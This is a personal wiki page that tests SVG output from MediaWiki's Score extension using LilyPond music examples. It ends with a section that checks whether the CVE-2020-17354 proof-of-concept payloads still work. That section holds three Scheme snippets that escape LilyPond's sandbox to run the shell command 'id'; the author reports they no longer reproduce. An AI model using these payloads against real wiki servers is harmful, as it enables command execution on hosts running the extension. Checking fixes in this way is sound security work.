View source for Score testing

[[File:Score_PNG_output_in_dark_theme.png|thumb|Unreadable Score extension output in dark mode]]
Hopefully I can get the Score extension working to produce SVG output on upstream task [https://phabricator.wikimedia.org/T49578 T49578]. The transparent PNG image normally produced needs white background styling otherwise it's unreadable in dark mode.
;Update December 2022: my patch was merged! :) now we wait for it to be tested and deployed into Wikipedia. There are a few other issues, including some security and sandboxing concerns, e.g. CVE-2020-17354 (see below). Also, this wiki is running on a 32-bit server, which only supports up to LilyPond 2.22 (I'm not game enough to try and compile LilyPond myself, and I'm not even sure Scheme 2 runs in 32-bit?) So I'm testing the SVG Score output over on my [https://mw-master.test.jon.geek.nz test instance] (which is not guaranteed to be up at all times).

== Examples ==
Range of the [https://en.wikipedia.org/wiki/Contrabass_trombone contrabass trombone], as used on Wikipedia:
<score lang="lilypond">
  {
    \new Staff \with { \remove "Time_signature_engraver" }
    \clef bass \key c \major \cadenzaOn
    \ottava #-1 \tweak font-size #-2 fis,,,1 \finger \markup \text "poss."
    \ottava #0  c,,1 \glissando d'1
    \tweak font-size #-2 f'1
  }
</score>

The Spear motif from ''Das Rheingold'':

<score lang="lilypond">
  \layout { ragged-right = ##t \context { \Score \omit BarNumber } }
  \relative g {
    \override DynamicTextSpanner.style = #'none
    \override Hairpin.minimum-length = #5
    \clef bass \key c \major
    g2~ \ff g8 f8 e8. d16
    c4 b a g  f e d c  \break
    b a g f  e1~ \dim\!  << e1~ { s2 s4 s4 \> } >>  e4 \! \p r4 r2
  }</score>

The Summit from ''Eine Alpensinfonie'', which may or may not be a contrabass trombone excerpt, but probably ought to be:

<score>
\relative c, {
  \time 4/4
  \clef bass
  \key c \major

  r2 r4\ff g\tenuto
  c2.\tenuto c4\tenuto
  g'2.\tenuto g4\tenuto
  c1
  e2~ e4.. b16
  a1
  g1
  c8 r8 r4 r2
  \bar "|."
} 
</score>

== CV-2020-17354 ==

See [https://phabricator.wikimedia.org/T259210 T259210]. Looks like either the syntax of the PoC vulns need updating, and/or they've been fixed. Can't repro as currently stands, with LilyPond 2.24 and Score on latest master.

1. With defined location: <score>
{
  \relative { c' }
}

#(begin
  (define location 1)
  (display "With output-def-scope\n")
  (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
  (display "With output-def-lookup\n")
  ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
)
</score>

2. and without: <score>
{
  \relative { c' }
}

#(begin
  (display "With output-def-scope\n")
  (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
  (display "With output-def-lookup\n")
  ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
)
</score>

3. Variant in comment from Han-wen Nienhuys: <score>
{

  \override NoteHead.text = \system
  \override NoteHead.stencil =
  #(lambda (grob)
    ((cdr (assoc 'text
	   (cadr (ly:grob-alist-chain grob '())))) "id")
    #f)
  c4

}
</score>